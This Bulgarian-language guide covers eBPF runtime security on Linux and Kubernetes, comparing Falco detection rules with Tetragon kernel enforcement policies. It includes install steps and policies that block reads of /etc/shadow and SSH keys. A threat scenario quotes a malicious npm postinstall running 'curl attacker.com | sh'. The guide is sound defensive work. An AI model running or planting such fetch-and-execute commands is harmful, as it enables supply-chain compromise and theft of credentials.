eBPF (extended Berkeley Packet Filter) е среда за изпълнение в ядрото на Linux, която позволява на sandboxed програми да наблюдават и реагират на kernel събития — системни извиквания, мрежови пакети, file I/O, process execution — без да пипат изходния код на ядрото и без да зареждат kernel модули. Звучи тривиално, но е революционно. Ето защо има значение за сигурността:
- Практически нулев performance данък: eBPF програмите се компилират в JIT-оптимизиран bytecode и работят директно в kernel context. Никакви скъпи context switch към userspace за всеки syscall.
- Верифицирана безопасност: Преди зареждане всяка eBPF програма минава през kernel verifier, който доказва, че няма да crash-не ядрото, няма безкрайни цикли, няма да чете невалидна памет. Това е стриктен анализатор, не просто review.
- Дълбока видимост: eBPF вижда всеки syscall, всяко process execve, всяка network connection, всеки file access — в момента, в който се случват. Не по-късно, чрез audit логове, когато вече е прекалено късно.
- Реално налагане, не само detection: eBPF може да върне грешка, да убие процес или да блокира операция, преди тя изобщо да се завърши.
В числа: традиционен agent с ptrace или userspace syscall parsing добавя 5–15% overhead на натоварени сървъри. eBPF probe обикновено стои под 1%, дори при хиляди events в секунда. При скала това е разликата между „сигурността ни коства един допълнителен node на всеки десет“ и „сигурността е невидима за капацитета“. Ако сте въртяли Falco v0.30 с kernel module преди няколко години и ви е останал лош спомен от overhead-а — modern_ebpf ще ви изненада приятно.
Изисквания за ядро
Модерният eBPF probe иска Linux kernel 5.8 или по-нов за пълен набор от BPF helpers, CO-RE (Compile Once, Run Everywhere) и BPF_PROG_TYPE_LSM. За production през 2026 г. препоръчвам kernel 6.1 LTS или 6.8+. Проверете текущата си версия:
uname -r
# 6.8.0-45-generic
# Проверка за BPF support
grep -E 'CONFIG_BPF|CONFIG_BPF_SYSCALL|CONFIG_BPF_JIT|CONFIG_BPF_LSM' /boot/config-$(uname -r)
Falco: detection-first runtime security
Falco е CNCF graduated проект, създаден от Sysdig още през 2016 г. Архитектурата е прозрачно проста: eBPF probe в ядрото събира syscall и kernel events, userspace daemon ги оценява спрямо декларативни YAML правила, и когато правило match-не — генерира alert към stdout, файл, Slack, Loki, SIEM или всяка от 70+ интеграции през Falcosidekick.
Основното предимство на Falco е гъвкавостта на правилата и изключително зрялата екосистема. Недостатъкът? Falco само алармира. Не спира атаката. За истинско enforcement ще ви трябва Tetragon или external response система, която реагира на алармите (почти винаги със забавяне от секунди — достатъчно, за да свърши един добре написан exploit работата си).
Инсталиране на Falco на Kubernetes с Operator
През 2026 г. препоръчителният метод е Falco Operator. Той управлява Falco, правилата, plugins и конфигурацията чрез Custom Resources, което прави GitOps управлението естествено. Helm chart все още се поддържа, разбира се, но Operator е посоката напред.
# Инсталиране на Falco Operator
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco-operator falcosecurity/falco-operator \
--namespace falco-system \
--create-namespace
# Deploy Falco instance с modern eBPF driver
cat <<EOF | kubectl apply -f -
apiVersion: instance.falcosecurity.dev/v1alpha1
kind: Falco
metadata:
name: falco
namespace: falco-system
spec:
driver:
kind: modern_ebpf
falcoctl:
artifact:
install:
refs:
- falco-rules:3
- falco-incubating-rules:3
outputs:
json_output: true
components:
falcosidekick:
enabled: true
config:
slack:
webhookurl: "https://hooks.slack.com/services/XXX/YYY/ZZZ"
minimumpriority: warning
EOF
Малка бележка: modern_ebpf драйверът използва CO-RE и не иска kernel headers на всеки node. Това е огромно подобрение спрямо класическия kernel module подход, който — говоря от личен опит — често се чупеше по време на rolling upgrade на ядрото в най-неподходящия момент (обикновено в петък, 18:00).
Писане на custom Falco правила
Falco правилата се пишат на декларативен YAML с богат език от условия, макроси и lists. Ето пример, който засича опит за четене на SSH private keys в контейнер:
- rule: Read SSH private key in container
desc: Засича четене на SSH private ключ в контейнерна среда
condition: >
open_read and container
and (fd.name startswith /root/.ssh/id_
or fd.name startswith /home/*/.ssh/id_
or fd.name endswith _rsa
or fd.name endswith _ed25519)
and not proc.name in (ssh, sshd, ssh-agent, git)
output: >
Опит за четене на SSH ключ
(user=%user.name process=%proc.name
file=%fd.name container=%container.name
image=%container.image.repository)
priority: CRITICAL
tags: [container, filesystem, mitre_credential_access]
Правилото се прилага като FalcoRules CR:
apiVersion: artifact.falcosecurity.dev/v1alpha1
kind: FalcoRules
metadata:
name: custom-ssh-rules
namespace: falco-system
spec:
rules:
- raw: |
- rule: Read SSH private key in container
# ... както горе
priority: 50
Задължителни правила за production
Falco идва с приличен набор от default правила, но следните допълнения си струват за 2026 г.:
- Terminal shell in container — shell в контейнер почти винаги значи или компрометация, или някой SRE, който нарушава immutable infrastructure политиката. И в двата случая искате да знаете веднага.
- Write below binary dir — запис в
/bin, /sbin, /usr/bin е класически сигнал за tampering.
- Outbound connection to C2 domains — интегрирайте threat intelligence feed за известни C2 адреси.
- Unexpected UDP traffic — cryptomining и DNS tunneling често разчитат на UDP.
- Container drift detection — всяко създаване на нов binary след старта на контейнера.
Tetragon: kernel-level enforcement с eBPF
Tetragon е sub-проект на Cilium, пуснат през 2022 г. и вече напълно стабилен за production. Фундаменталната разлика спрямо Falco: Tetragon не просто наблюдава — той налага политика в ядрото, преди операцията изобщо да се завърши. Там, където Falco ще ви каже „някой току-що прочете /etc/shadow“, Tetragon просто връща -EPERM на syscall-а и атакуващият никога не вижда съдържанието. Чувствате ли разликата?
Архитектурно Tetragon използва eBPF kprobes и LSM hooks, филтрирайки събития в самото ядро, преди да ги изпрати към userspace. Това драстично намалява data volume и CPU консумация при high-throughput workloads.
Инсталиране на Tetragon
helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon \
--namespace kube-system \
--set tetragon.enablePolicyFilter=true \
--set tetragon.exportAllowList='' \
--set tetragon.exportDenyList=''
# Проверка, че daemon работи на всеки node
kubectl -n kube-system get pods -l app.kubernetes.io/name=tetragon
# Stream на runtime събития в реално време
kubectl exec -it -n kube-system ds/tetragon -c tetragon -- \
tetra getevents -o compact
TracingPolicy: истинско enforcement
Tetragon политиките се дефинират като TracingPolicy или TracingPolicyNamespaced Custom Resources. Следният пример убива всеки процес, който опита да изпълни /bin/bash или /bin/sh в namespace production:
apiVersion: cilium.io/v1alpha1
kind: TracingPolicyNamespaced
metadata:
name: block-shell-production
namespace: production
spec:
kprobes:
- call: "sys_execve"
syscall: true
args:
- index: 0
type: "string"
selectors:
- matchArgs:
- index: 0
operator: "Postfix"
values:
- "/bash"
- "/sh"
- "/zsh"
- "/dash"
matchActions:
- action: Sigkill
Това е kernel-enforced. Никакъв race condition между detection и response. Процесът получава SIGKILL още преди execve да върне control на userspace. Просто, окончателно, непреодолимо.
Блокиране на достъп до чувствителни файлове
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: protect-credentials
spec:
kprobes:
- call: "security_file_open"
syscall: false
args:
- index: 0
type: "file"
selectors:
- matchArgs:
- index: 0
operator: "Equal"
values:
- "/etc/shadow"
- "/etc/gshadow"
- "/root/.ssh/id_rsa"
- "/root/.ssh/id_ed25519"
matchActions:
- action: Override
argError: -1
Override с argError: -1 връща EPERM на syscall-а. Процесът получава permission denied — дори ако е root. Това е важно: политиката работи извън класическия DAC модел.
Falco срещу Tetragon: кога кое?
| Характеристика |
Falco |
Tetragon |
| Основна цел |
Detection и alerting |
Detection + real-time enforcement |
| Overhead |
3–10% (userspace syscall parsing) |
<1% (in-kernel филтриране) |
| Гъвкавост на правилата |
Много висока, богат DSL |
Средна, фокус върху syscalls/LSM |
| Enforcement |
Alert-only (response чрез Sidekick) |
Sigkill, Override, NotifyEnforcer |
| Екосистема |
70+ интеграции, зряла |
Cilium/Hubble native |
| Non-Kubernetes hosts |
Отлична поддръжка |
Възможна, но по-слаба |
| GitOps friendliness |
Operator CRs |
TracingPolicy CRs |
Комбинираният подход: Falco + Tetragon
Водещите security teams през 2026 г. не избират едното. Те deploy-ват и двете в комплементарни роли:
- Falco — широка detection мрежа. Десетки правила, интеграция с SIEM (Splunk, Elastic, Loki), alerting към on-call. Хващайте всичко, триажирайте по-късно.
- Tetragon — тесен, прецизен enforcement layer. 5–10 критични политики, които никога, ама никога не трябва да се нарушават: четене на secrets, execve на shell в production, mount на host filesystem, достъп до
/proc/kcore. Тези политики блокират, не алармират.
Моделът се покрива идеално с defense-in-depth: Falco е вашата camera система, Tetragon — вашите auto-locking врати. Едното ви казва какво се случва, другото не го допуска.
Интеграция в DevSecOps pipeline
Runtime сигурността не е изолирана дисциплина — тя е последната линия на защита след shift-left проверките. Препоръчителният flow за 2026 г.:
- Build time: Trivy/Grype за image scanning, Semgrep за SAST, OWASP Dependency-Check за SCA.
- Admission time: OPA/Gatekeeper или Kyverno за policy-as-code (blocking на privileged pods, hostPath mounts,
latest tags).
- Runtime: Falco + Tetragon за поведенческo detection и kernel-level enforcement.
- Response: Falcosidekick → Slack/PagerDuty плюс автоматични Kubernetes действия (pod termination, network isolation).
Falco алармите трябва да feedват в SIEM с минимум 90-дневно задържане за forensics и compliance — PCI DSS 4.0, SOC 2 и ISO 27001:2022 всички изискват runtime audit trail.
Performance tuning за production
Дори eBPF може да генерира забележим overhead при high-throughput среди, ако правилата са неоптимални. Няколко практически съвета:
- Филтрирайте в ядрото. Tetragon-овите
selectors с matchNamespaces и matchPodLabels намаляват event volume още преди userspace export.
- Избягвайте
evt.type без допълнителни условия. Правило, което match-ва всеки open syscall, ще залее pipeline-а за секунди.
- Ползвайте rate limiting. Falco има вграден throttling — конфигурирайте
outputs.rate и outputs.max_burst.
- Dedicate node resources. Falco pod-ове:
requests: cpu 100m, memory 512Mi; limits: cpu 1000m, memory 2Gi. Tетragon обикновено иска малко по-малко.
- Наблюдавайте самите observer-и. Prometheus метрики:
falco_events_total, falco_rules_evaluated_total, tetragon_events_total.
Откриване на реални заплахи: практически примери
Cryptomining container escape
Атакуващ експлоатира RCE в web app, изтегля XMRig, опитва се да mount-не host /proc. Falco правилото Outbound connection to mining pool алармира на новата връзка към pool.supportxmr.com:443. Tetragon политика block-host-proc-mount предотвратява самия mount, стопирайки escape-а преди да започне.
Credential theft
Компрометиран web server процес се опитва да чете /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/. Tetragon security_file_open kprobe с Override: -1 връща EPERM. Атакуващият вижда permission denied дори с правилни UID/GID — защото политиката е kernel-enforced извън DAC. Това е магията.
Supply chain tampering
Malicious npm package изпълнява curl attacker.com | sh по време на postinstall. Falco правилото Launch remote file copy tools in container алармира незабавно. Tetragon политика блокира execve на curl или wget в build контейнери, които нямат легитимна нужда от тях.
Често задавани въпроси
Нужен ли ми е Kubernetes, за да ползвам Falco или Tetragon?
Не. И двата инструмента работят отлично на обикновени Linux хостове. Falco има официален falco.service systemd unit и се инсталира чрез apt/dnf. Tetragon може да се deploy-не като standalone daemon с --bpf-lib, насочен към стандартна директория. Kubernetes просто прави управлението на политики на скала много по-лесно.
Кой инструмент трябва да избера, ако мога само един?
Ако сте в Kubernetes-heavy среда и искате истинско enforcement — Tetragon. Ако управлявате смесени Linux хостове (VMs, bare-metal, контейнери) и нуждата е предимно detection и alerting — Falco. За повечето production стекове през 2026 г. отговорът обаче е „и двете, в комплементарни роли“.
Ще замени ли eBPF класическите tools като auditd, AIDE или Wazuh?
Не напълно. auditd остава стандартът за compliance-driven audit logging (STIG, CIS), AIDE все още е най-доброто решение за file integrity baseline, а Wazuh комбинира HIDS, log analysis и vulnerability scanning в единен agent. eBPF решенията ги допълват с kernel-level detection и enforcement, което класическите tools не могат да дадат с приемлив overhead.
Безопасен ли е eBPF? Може ли malicious eBPF програма да компрометира ядрото?
eBPF verifier е силен защитен механизъм — всяка програма се анализира статично преди зареждане и отхвърля код с unsafe memory access, infinite loops или unbounded stack. Но (и това е важно) историята показва vulnerabilities във verifier-а: CVE-2022-23222, CVE-2023-2163. Препоръката ми: ограничете CAP_BPF само до privileged workloads, ползвайте kernel.unprivileged_bpf_disabled=1 sysctl и поддържайте ядрото patch-нато.
Какво е минималното kernel изискване за modern_ebpf driver?
За Falco modern_ebpf: Linux kernel 5.8+ с CONFIG_BPF_SYSCALL=y, CONFIG_BPF_JIT=y и BTF information (CONFIG_DEBUG_INFO_BTF=y). За Tetragon TracingPolicy enforcement: 5.10+. За най-новите BPF LSM hooks и по-агресивни политики: kernel 6.1 LTS или по-нов. Всички major distros (Ubuntu 22.04+, RHEL 9+, Debian 12+) покриват тези изисквания извън кутията.
Заключение
eBPF не е поредната мода — това е фундаментална промяна в начина, по който наблюдаваме и защитаваме Linux системи. Falco и Tetragon представляват двете допълващи се философии на runtime сигурността през 2026 г.: гъвкаво, широко detection и прецизно, kernel-enforced prevention. Deployment-ът им вече не е „лукс за enterprise“. При скоростите на съвременните атаки, runtime observability без enforcement е просто по-добро известяване за това какво вече сте загубили.
Така че — започнете още днес. Инсталирайте Falco с modern eBPF driver, включете default rule set и Falcosidekick към вашия SIEM. Идентифицирайте 5 критични активи (secrets, host mounts, shell execution в production) и напишете Tetragon TracingPolicy за всеки. След 30 дни имате baseline. След 90 дни имате истинска, измерима runtime защита. Успех.
